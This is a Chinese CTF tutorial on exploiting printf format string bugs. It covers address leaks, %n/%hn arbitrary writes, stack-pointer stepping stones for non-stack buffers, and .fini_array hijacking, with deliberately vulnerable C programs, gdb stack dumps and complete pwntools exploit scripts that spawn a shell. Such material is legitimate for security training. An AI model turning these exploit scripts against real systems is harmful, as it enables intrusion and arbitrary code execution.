格式化字符串漏洞的原理網(wǎng)上資料較多這里就不再進(jìn)行過(guò)多的描述,我們知道在c語(yǔ)言中printf的正確使用方法類似是這種
printf("%s",buf);
但是現(xiàn)實(shí)情況下或許有人偷懶懶便這么寫:
printf(buf);
這便造成了格式化字符串漏洞,這篇文章重點(diǎn)講在不同的情況下格式化字符串漏洞的利用辦法,大致分為以下幾種:
- 格式化字符串漏洞在棧上的利用
- 格式化字符串在非棧上的利用
以上兩種情況又可以分成以下的三種情況
- 任意地址泄露
- 任意地址寫大數(shù)字
- 任意地址寫小數(shù)字
- 格式化字符串漏洞實(shí)現(xiàn)無(wú)限循環(huán)
我們先從最簡(jiǎn)單的說(shuō)起
格式化字符串在棧上的利用
1.任意地址泄露
這里我寫了一個(gè)簡(jiǎn)單的程序來(lái)做演示:
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
char buf[200];
read(0,buf,200);
printf(buf);
return 0;
}
make:
gcc test1.c -o test1
在gdb里面我們將斷點(diǎn)下在printf,stack 30查看棧的情況
0000| 0x7ffcd56ad178 --> 0x40071e (<main+136>: mov eax,0x0)
0008| 0x7ffcd56ad180 --> 0xa7024333325 ('%33$p\n')
0016| 0x7ffcd56ad188 --> 0x0
0024| 0x7ffcd56ad190 --> 0x0
0032| 0x7ffcd56ad198 --> 0x0
0040| 0x7ffcd56ad1a0 --> 0x0
0048| 0x7ffcd56ad1a8 --> 0x0
0056| 0x7ffcd56ad1b0 --> 0x0
0064| 0x7ffcd56ad1b8 --> 0x0
0072| 0x7ffcd56ad1c0 --> 0x0
0080| 0x7ffcd56ad1c8 --> 0x0
0088| 0x7ffcd56ad1d0 --> 0x0
0096| 0x7ffcd56ad1d8 --> 0x0
0104| 0x7ffcd56ad1e0 --> 0x0
0112| 0x7ffcd56ad1e8 --> 0x0
0120| 0x7ffcd56ad1f0 --> 0x0
0128| 0x7ffcd56ad1f8 --> 0x0
0136| 0x7ffcd56ad200 --> 0x0
0144| 0x7ffcd56ad208 --> 0x0
0152| 0x7ffcd56ad210 --> 0x1
0160| 0x7ffcd56ad218 --> 0x40078d (<__libc_csu_init+77>: add rbx,0x1)
0168| 0x7ffcd56ad220 --> 0x7ffcd56ad24e --> 0x4007407b7d
0176| 0x7ffcd56ad228 --> 0x0
0184| 0x7ffcd56ad230 --> 0x400740 (<__libc_csu_init>: push r15)
0192| 0x7ffcd56ad238 --> 0x4005a0 (<_start>: xor ebp,ebp)
--More--(25/30)
0200| 0x7ffcd56ad240 --> 0x7ffcd56ad330 --> 0x1
0208| 0x7ffcd56ad248 --> 0x7b7dc4f2d0593b00
0216| 0x7ffcd56ad250 --> 0x400740 (<__libc_csu_init>: push r15)
0224| 0x7ffcd56ad258 --> 0x7f031a15a830 (<__libc_start_main+240>: mov edi,eax)
0232| 0x7ffcd56ad260 --> 0x1
可以看到在0x7ffcd56ad258這個(gè)地方存放著libc_start_main的地址,假設(shè)我們?nèi)绻胍孤哆@個(gè)地方的地址該怎么做呢?工欲善其事必先利其器,我們用Pwngdb自帶的插件來(lái)算以下偏移:
fmtarg 0x7ffcd56ad258
The index of format argument : 34 ("\%33$p")
可以看到為33,我們測(cè)試一下:
'%33$p\n'
[*] Switching to interactive mode
[DEBUG] Received 0xf bytes:
'0x7f031a15a830\n'
0x7f031a15a830
可以看到已經(jīng)輸出我們想要的值,以此類推,這樣就可以泄露出我們想要的棧地址的值了
2.任意地址寫
我們已經(jīng)展示了如何利用格式化字符串來(lái)泄露棧內(nèi)存以及任意地址內(nèi)存,那么我們有沒(méi)有可能修改棧上變量的值呢,甚至修改任意地址變量的內(nèi)存呢? 答案是可行的,只要變量對(duì)應(yīng)的地址可寫,我們就可以利用格式化字符串來(lái)修改其對(duì)應(yīng)的數(shù)值。這里我們可以想一下格式化字符串中的類型
%n,不輸出字符,但是把已經(jīng)成功輸出的字符個(gè)數(shù)寫入對(duì)應(yīng)的整型指針參數(shù)所指的變量。
實(shí)現(xiàn)覆蓋小數(shù)字:
這里我們將源程序改變一下,設(shè)置一個(gè)后門
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int otherbuf[200];
void welcome()
{
puts("hello!");
}
int main()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
char buf[200];
welcome();
read(0,buf,200);
printf(buf);
if(*otherbuf == 0x2)
{
system("sh");
}
}
make
gcc test1.c -m32 -o test2
通過(guò)源程序我們可以看到當(dāng)otherbuf==2 的時(shí)候可以觸發(fā)后門函數(shù)
(ctfwiki)首先,我們來(lái)考慮一下如何修改變量為一個(gè)較小的數(shù)字,比如說(shuō),小于機(jī)器字長(zhǎng)的數(shù)字。這里以 2 為例??赡軙?huì)覺(jué)得這其實(shí)沒(méi)有什么區(qū)別,可仔細(xì)一想,真的沒(méi)有么?如果我們還是將要覆蓋的地址放在最前面,那么將直接占用機(jī)器字長(zhǎng)個(gè) (4 或 8) 字節(jié)。顯然,無(wú)論之后如何輸出,都只會(huì)比 4 大
那么我們應(yīng)該怎么做呢?再仔細(xì)想一下,我們有必要將所要覆蓋的變量的地址放在字符串的最前面么?似乎沒(méi)有,我們當(dāng)時(shí)只是為了尋找偏移,所以才把 tag 放在字符串的最前面,如果我們把 tag 放在中間,其實(shí)也是無(wú)妨的。類似的,我們把地址放在中間,只要能夠找到對(duì)應(yīng)的偏移,其照樣也可以得到對(duì)應(yīng)的數(shù)值。前面已經(jīng)說(shuō)了我們的格式化字符串的為第 6 個(gè)參數(shù)。由于我們想要把 2 寫到對(duì)應(yīng)的地址處,故而格式化字符串的前面的字節(jié)必須是
aa%k$nxx
理論已經(jīng)知道了接下來(lái)我們實(shí)踐一下:
通過(guò)ida我們可以得到otherbuf的地址為:0x804a060
因此我們可以這樣構(gòu)造:
"aa%k$n pading"+p32(otherbuf)
其中k的值需要們動(dòng)態(tài)調(diào)一下:
我們還是在printf處下斷點(diǎn),同時(shí)輸入我們的payload
payload = "aa%7$n"
payload = payload.ljust(8,"a")
payload += p32(0x804a060)
此時(shí)棧:
0000| 0xffce4a8c --> 0x8048608 (<main+116>: add esp,0x10)
0004| 0xffce4a90 --> 0xffce4aa4 ("aa%7$naa`\240\004\b\n\317\356", <incomplete sequence \367>)
0008| 0xffce4a94 --> 0xffce4aa4 ("aa%7$naa`\240\004\b\n\317\356", <incomplete sequence \367>)
0012| 0xffce4a98 --> 0xc8
0016| 0xffce4a9c --> 0x80485e0 (<main+76>: sub esp,0x4)
0020| 0xffce4aa0 --> 0x0
0024| 0xffce4aa4 ("aa%7$naa`\240\004\b\n\317\356", <incomplete sequence \367>)
0028| 0xffce4aa8 ("$naa`\240\004\b\n\317\356", <incomplete sequence \367>)
0032| 0xffce4aac --> 0x804a060 --> 0x0
0036| 0xffce4ab0 --> 0xf7eecf0a (<check_match+218>: adc al,0x58)
0040| 0xffce4ab4 --> 0x0
0044| 0xffce4ab8 --> 0xf7f08ad0 --> 0xf7f08a74 --> 0xf7ede470 --> 0xf7f08918 -->0x0
可以看到otherbuf的地址在0xffce4aac位置,我們fmtarg一下看一下這個(gè)位置的偏移:
fmtarg 0xffce4aac
The index of format argument : 8 ("\%7$p")
可以看到偏移為7那我們的payload就不用修改了,我們單步調(diào)試?yán)^續(xù)運(yùn)行
可以看到otherbuf已經(jīng)成功被覆蓋成小數(shù)字2了:
0x804a060 <otherbuf>: 0x00000002 0x00000000 0x00000000 0x00000000
成功獲得shell:
$id
uid=1000(cnitlrt) gid=1000(cnitlrt) 組=1000(cnitlrt),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
任意地址覆蓋大數(shù)字:
這種在ctf中算是最常見(jiàn)的了,就不再進(jìn)行過(guò)多的敘述,直接看例子,這里為了方便添加了一個(gè)while循環(huán),一會(huì)我們?cè)傺芯慨?dāng)沒(méi)有while循環(huán)的辦法
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int otherbuf[200];
void backdoor()
{
system("sh");
}
void welcome()
{
puts("hello!");
}
int main()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
char buf[200];
welcome();
while(1)
{
read(0,buf,200);
if(!strcmp(buf,"quit\n"))
break;
printf(buf);
}
}
make
gcc test1.c -m32 -o test3
通過(guò)ida我們可以得到backdoor的地址,我們只要將printf_got的地址覆蓋為backdoor的地址就能獲取shell了
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Author__ = 'cnitlrt'
import sys
import os
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
binary = 'test3'
elf = ELF('test3')
libc = elf.libc
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = ""
port = 0
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
backdoor = 0x080485AB
printf_got = elf.got["printf"]
addr1 = backdoor&0xffff
addr2 = backdoor>>16
payload = "%{}c%{}$hn".format(addr2,17)
payload += "%{}c%{}$hn".format(addr1-addr2,18)
payload = payload.ljust(48,"a")
payload += p32(printf_got+2)+p32(printf_got)
print str(payload)
gdb.attach(p,"b printf\nc")
p.sendline(payload)
p.interactive()
由于直接覆蓋四個(gè)字節(jié)會(huì)很容易崩因此我們選擇兩個(gè)字節(jié)兩個(gè)字節(jié)的覆蓋,計(jì)算偏移的辦法在上一節(jié)已經(jīng)提到這里就不再進(jìn)行過(guò)多的描述
格式化字符串在非棧上的利用:
格式化字符串在非棧上就意味著我們不能像以前直接控制棧上的數(shù)據(jù),來(lái)進(jìn)行任意地址寫,這就為我們的利用造成了一定的難度,因此需要在棧上找一些跳板來(lái)間接進(jìn)行利用,廢話不多說(shuō),直接上例子,我們通過(guò)例子來(lái)進(jìn)行分析
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
char buf[200];
void welcome()
{
puts("hello!");
}
int main()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
welcome();
while(1)
{
read(0,buf,200);
if(!strncmp(buf,"quit\n",5))
break;
printf(buf);
}
}
make:
gcc test1.c -o test5
首先需要找跳板,我們還是打開(kāi)gdb,將斷點(diǎn)下在printf處,查看棧的數(shù)據(jù):
0000| 0x7ffe16453838 --> 0x40073a (<main+99>: mov edx,0x5)
0008| 0x7ffe16453840 --> 0x400770 (<__libc_csu_init>: push r15)
0016| 0x7ffe16453848 --> 0x7f10939b7830 (<__libc_start_main+240>: mov edi,eax)
0024| 0x7ffe16453850 --> 0x0
0032| 0x7ffe16453858 --> 0x7ffe16453928 --> 0x7ffe16454227 --> 0x5451003574736574 ('test5')
0040| 0x7ffe16453860 --> 0x100000000
0048| 0x7ffe16453868 --> 0x4006d7 (<main>: push rbp)
0056| 0x7ffe16453870 --> 0x0
0064| 0x7ffe16453878 --> 0x40c9c30203abe068
0072| 0x7ffe16453880 --> 0x4005d0 (<_start>: xor ebp,ebp)
0080| 0x7ffe16453888 --> 0x7ffe16453920 --> 0x1
0088| 0x7ffe16453890 --> 0x0
0096| 0x7ffe16453898 --> 0x0
0104| 0x7ffe164538a0 --> 0xbf35ef087debe068
0112| 0x7ffe164538a8 --> 0xbee8e4b4e29be068
0120| 0x7ffe164538b0 --> 0x0
0128| 0x7ffe164538b8 --> 0x0
0136| 0x7ffe164538c0 --> 0x0
0144| 0x7ffe164538c8 --> 0x7ffe16453938 --> 0x7ffe1645422d ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0152| 0x7ffe164538d0 --> 0x7f1093f88168 --> 0x0
通過(guò)gdb我們將跳板選在0x7ffe16453858這個(gè)位置,為什么要選擇這個(gè)位置呢?
我們可以很清楚的看到這個(gè)位置還存著棧上的另外一個(gè)地址,仔細(xì)回想一下,當(dāng)格式化字符串在棧上的時(shí)候我們是直接將我們要覆蓋的地址寫在棧上,然后通過(guò)$n來(lái)修改其內(nèi)容,通過(guò)類比,我們可以將0x7ffe16453858中存的棧地址類比成目標(biāo)地址,然后間接對(duì)其內(nèi)容進(jìn)行操作
我們還可以看到在0x7ffe16453848這個(gè)位置存著libc_start_main的地址,因此可以直接通過(guò)任意地址讀來(lái)leak出libc的地址
找到跳板了,leak出libc的地址來(lái)了,那接下來(lái)呢?
接下來(lái)就是跳板的利用了
我們現(xiàn)在假設(shè)0x7ffe16453858這個(gè)為fmt9,其所存的地址為fmt35,那我們就可以通過(guò)對(duì)fmt9的操作來(lái)間接改變fmt35的內(nèi)容,使其指向別的地方,這里我們選擇其指向存儲(chǔ)返回地址的地方,設(shè)其為ret_addr,因?yàn)橹苯邮褂?n的話很容易崩,而且很容易發(fā)現(xiàn)這兩個(gè)地址只有后兩個(gè)字節(jié)有所差異,因此我們只需要覆蓋后兩個(gè)字節(jié)就好,此時(shí)fmt35里面存著ret_addr,那我們通過(guò)對(duì)fmt35操作就可以改變r(jià)et_addr的內(nèi)容,即改變返回地址,我們可以將他變?yōu)閛ne_gadget,光說(shuō)不做假把式,接下來(lái)就一起跟一跟
第一步:leak地址:
payload = "%7$p"
p.recv()
p.sendline(payload)
ru("0x")
libc_base = int(p.recv(12),16)-240-libc.sym["__libc_start_main"]
lg("libc_base",libc_base)
one = libc_base+o_g[0]
lg("one",one)
payload = "%9$p"
p.sendline(payload)
ru("0x")
fmt35 = int(p.recv(12),16)
fmt9 = fmt35-0xd0
ret_addr = fmt9-0x10
第二步:ret_addr改為one_gadget
因?yàn)閛ne_gadget的地址和返回地址有三個(gè)字節(jié)的差異,因此我們先改倒數(shù)第三個(gè)字節(jié):
payload = "%{}c%{}$hn".format((ret_addr+2)&0xffff,9)
p.sendline(payload)
payload = "%{}c%{}$hhn".format((one>>16)&0xff,35)
p.sendline(payload)
修改之前的棧:
0000| 0x7ffe90bf09c8 --> 0x400761 (<main+138>: jmp 0x400721 <main+74>)
0008| 0x7ffe90bf09d0 --> 0x400770 (<__libc_csu_init>: push r15)
0016| 0x7ffe90bf09d8 --> 0x7fa5d3fc6830 (<__libc_start_main+240>: mov edi,eax)
0024| 0x7ffe90bf09e0 --> 0x1
0032| 0x7ffe90bf09e8 --> 0x7ffe90bf0ab8 --> 0x7ffe90bf1227 --> 0x5451003574736574 ('test5')
0040| 0x7ffe90bf09f0 --> 0x1d4595ca0
0048| 0x7ffe90bf09f8 --> 0x4006d7 (<main>: push rbp)
0056| 0x7ffe90bf0a00 --> 0x0
0064| 0x7ffe90bf0a08 --> 0x6a15ab5a1afa311b
0072| 0x7ffe90bf0a10 --> 0x4005d0 (<_start>: xor ebp,ebp)
0080| 0x7ffe90bf0a18 --> 0x7ffe90bf0ab0 --> 0x1
0088| 0x7ffe90bf0a20 --> 0x0
0096| 0x7ffe90bf0a28 --> 0x0
0104| 0x7ffe90bf0a30 --> 0x95e88aa407da311b
0112| 0x7ffe90bf0a38 --> 0x955e0c22dbca311b
0120| 0x7ffe90bf0a40 --> 0x0
0128| 0x7ffe90bf0a48 --> 0x0
0136| 0x7ffe90bf0a50 --> 0x0
0144| 0x7ffe90bf0a58 --> 0x7ffe90bf0ac8 --> 0x7ffe90bf122d ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0152| 0x7ffe90bf0a60 --> 0x7fa5d4597168 --> 0x0
修改之后的棧:
0000| 0x7ffe45c644d8 --> 0x40073a (<main+99>: mov edx,0x5)
0008| 0x7ffe45c644e0 --> 0x400770 (<__libc_csu_init>: push r15)
0016| 0x7ffe45c644e8 --> 0x7f40f210d830 (<__GI___printf_fp_l+864>: add BYTE PTR [rax],al)
0024| 0x7ffe45c644f0 --> 0x1
0032| 0x7ffe45c644f8 --> 0x7ffe45c645c8 --> 0x7ffe45c644ea --> 0x100007f40f210
0040| 0x7ffe45c64500 --> 0x100000002
0048| 0x7ffe45c64508 --> 0x4006d7 (<main>: push rbp)
0056| 0x7ffe45c64510 --> 0x0
0064| 0x7ffe45c64518 --> 0x83b39a71ccda3cf2
0072| 0x7ffe45c64520 --> 0x4005d0 (<_start>: xor ebp,ebp)
0080| 0x7ffe45c64528 --> 0x7ffe45c645c0 --> 0x1
0088| 0x7ffe45c64530 --> 0x0
0096| 0x7ffe45c64538 --> 0x0
0104| 0x7ffe45c64540 --> 0x7c4f117d4bda3cf2
0112| 0x7ffe45c64548 --> 0x7d327eea6dea3cf2
0120| 0x7ffe45c64550 --> 0x0
0128| 0x7ffe45c64558 --> 0x0
0136| 0x7ffe45c64560 --> 0x0
0144| 0x7ffe45c64568 --> 0x7ffe45c645d8 --> 0x7ffe45c6522d ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0152| 0x7ffe45c64570 --> 0x7f40f26ae168 --> 0x0
可以很清楚的看到存放的返回地址已經(jīng)改變(因?yàn)槲议_(kāi)啟了地址隨機(jī)化因此每次加載時(shí)的地址不一樣,具體要根據(jù)自己的機(jī)器為準(zhǔn))
同理可以改變r(jià)et_addr的后兩個(gè)字節(jié)
while True:
p.sendline("cnitlrt")
sleep(0.2)
data = p.recv()
if data.find("cnitlrt") != -1:
break
payload = "%{}c%{}$hn".format(ret_addr&0xffff,9)
p.sendline(payload)
while True:
p.sendline("cnitlrt")
sleep(0.2)
data = p.recv()
if data.find("cnitlrt") != -1:
break
payload = "%{}c%{}$hn".format(one&0xffff,35)
p.sendline(payload)
這里的一段while,是因?yàn)檩敵龅膶?shí)在太多了recv()每次只能接受0x1000的內(nèi)容,如果沒(méi)有循環(huán)的話會(huì)卡住。用一個(gè)標(biāo)識(shí)符做接受完成標(biāo)志
0000| 0x7ffec6a1b558 --> 0x40073a (<main+99>: mov edx,0x5)
0008| 0x7ffec6a1b560 --> 0x400770 (<__libc_csu_init>: push r15)
0016| 0x7ffec6a1b568 --> 0x7fc91fda2216 (<do_system+1014>: lea rsi,[rip+0x381343] # 0x7fc920123560 <intr>)
0024| 0x7ffec6a1b570 --> 0x1
0032| 0x7ffec6a1b578 --> 0x7ffec6a1b648 --> 0x7ffec6a1b568 --> 0x7fc91fda2216 (<do_system+1014>: lea rsi,[rip+0x381343] # 0x7fc920123560 <intr>)
0040| 0x7ffec6a1b580 --> 0x100000002
0048| 0x7ffec6a1b588 --> 0x4006d7 (<main>: push rbp)
0056| 0x7ffec6a1b590 --> 0x0
0064| 0x7ffec6a1b598 --> 0x79020a71114123f7
0072| 0x7ffec6a1b5a0 --> 0x4005d0 (<_start>: xor ebp,ebp)
0080| 0x7ffec6a1b5a8 --> 0x7ffec6a1b640 --> 0x1
0088| 0x7ffec6a1b5b0 --> 0x0
0096| 0x7ffec6a1b5b8 --> 0x0
0104| 0x7ffec6a1b5c0 --> 0x86ff87b2754123f7
0112| 0x7ffec6a1b5c8 --> 0x8690355eb07123f7
0120| 0x7ffec6a1b5d0 --> 0x0
0128| 0x7ffec6a1b5d8 --> 0x0
0136| 0x7ffec6a1b5e0 --> 0x0
0144| 0x7ffec6a1b5e8 --> 0x7ffec6a1b658 --> 0x7ffec6a1c22d ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0152| 0x7ffec6a1b5f0 --> 0x7fc92034e168 --> 0x0
可以看到返回地址已經(jīng)修改為one_gadget,接下來(lái)只要退出就可以或的shell了
p.sendline("\x00"*200)
sleep(1)
p.sendline("quit")
"\x00"*200是為了重置buf內(nèi)容,為了后面順利執(zhí)行ret
完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Author__ = 'cnitlrt'
import sys
import os
from pwn import *
from LibcSearcher import LibcSearcher
# context.log_level = 'debug'
binary = 'test5'
elf = ELF('test5')
libc = elf.libc
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = ""
port = 0
p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
payload = "%7$p"
p.recv()
p.sendline(payload)
ru("0x")
libc_base = int(p.recv(12),16)-240-libc.sym["__libc_start_main"]
lg("libc_base",libc_base)
one = libc_base+o_g[0]
lg("one",one)
payload = "%9$p"
p.sendline(payload)
ru("0x")
fmt35 = int(p.recv(12),16)
fmt9 = fmt35-0xd0
ret_addr = fmt9-0x10
payload = "%{}c%{}$hn".format((ret_addr+2)&0xffff,9)
p.sendline(payload)
payload = "%{}c%{}$hhn".format((one>>16)&0xff,35)
p.sendline(payload)
while True:
p.sendline("cnitlrt")
sleep(0.2)
data = p.recv()
if data.find("cnitlrt") != -1:
break
payload = "%{}c%{}$hn".format(ret_addr&0xffff,9)
p.sendline(payload)
while True:
p.sendline("cnitlrt")
sleep(0.2)
data = p.recv()
if data.find("cnitlrt") != -1:
break
payload = "%{}c%{}$hn".format(one&0xffff,35)
p.sendline(payload)
p.sendline("\x00"*200)
sleep(1)
p.sendline("quit")
# gdb.attach(p,"b printf\nc")
p.interactive()
格式化字符串漏洞實(shí)現(xiàn)無(wú)限循環(huán)
這里我們引用一張經(jīng)典的圖:
簡(jiǎn)單地說(shuō),在main函數(shù)前會(huì)調(diào)用.init段代碼和.init_array段的函數(shù)數(shù)組中每一個(gè)函數(shù)指針。同樣的,main函數(shù)結(jié)束后也會(huì)調(diào)用.fini段代碼和.fini._arrary段的函數(shù)數(shù)組中的每一個(gè)函數(shù)指針 ,而我們的目標(biāo)就是修改.fini_array數(shù)組的第一個(gè)元素為start。需要注意的是,這個(gè)數(shù)組的內(nèi)容在再次從start開(kāi)始執(zhí)行后又會(huì)被修改,且程序可讀取的字節(jié)數(shù)有限,因此需要一次性修改兩個(gè)地址并且合理調(diào)整payload
----ichunqiu
上例子:ciscn_2019_sw_1
通過(guò)ida反編譯我們可以看到:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format; // [esp+0h] [ebp-48h]
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", &format);
printf("Hello ");
printf(&format);
return 0;
}
沒(méi)有了while循環(huán),因此我們劫持fini_array數(shù)組并把printf劫持為system
具體payload:
payload = p32(fini_array)
payload += p32(fini_array+2)
payload += p32(elf.got["printf"])
payload += p32(elf.got["printf"]+2)
payload += "%{}c%4$hn%{}c%5$hn%{}c%6$hn%{}c%7$hn".format(main1-16,main2+0x10000-main1,sys1-main2,sys2+0x10000-sys1)
完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
binary = 'ciscn_2019_sw_1'
elf = ELF('ciscn_2019_sw_1')
libc = elf.libc
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = "node3.buuoj.cn"
port = 28161
p = remote(host,port)
o_g = [0x4f2c5,0x4f322,0x10a38c]
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
fini_array = 0x0804979C
sys_addr = 0x80483d0
main_addr = 0x08048534
sys1 = sys_addr&0xffff
sys2 = sys_addr>>16
main1 = main_addr&0xffff
main2 = (main_addr>>16)
# main2 = main2-1
payload = p32(fini_array)
payload += p32(fini_array+2)
payload += p32(elf.got["printf"])
payload += p32(elf.got["printf"]+2)
payload += "%{}c%4$hn%{}c%5$hn%{}c%6$hn%{}c%7$hn".format(main1-16,main2+0x10000-main1,sys1-main2,sys2+0x10000-sys1)
p.sendline(payload)
p.interactive()
總結(jié):
格式化字符串雖然簡(jiǎn)單但熟練的利用可以在解題中收獲意想不到的效果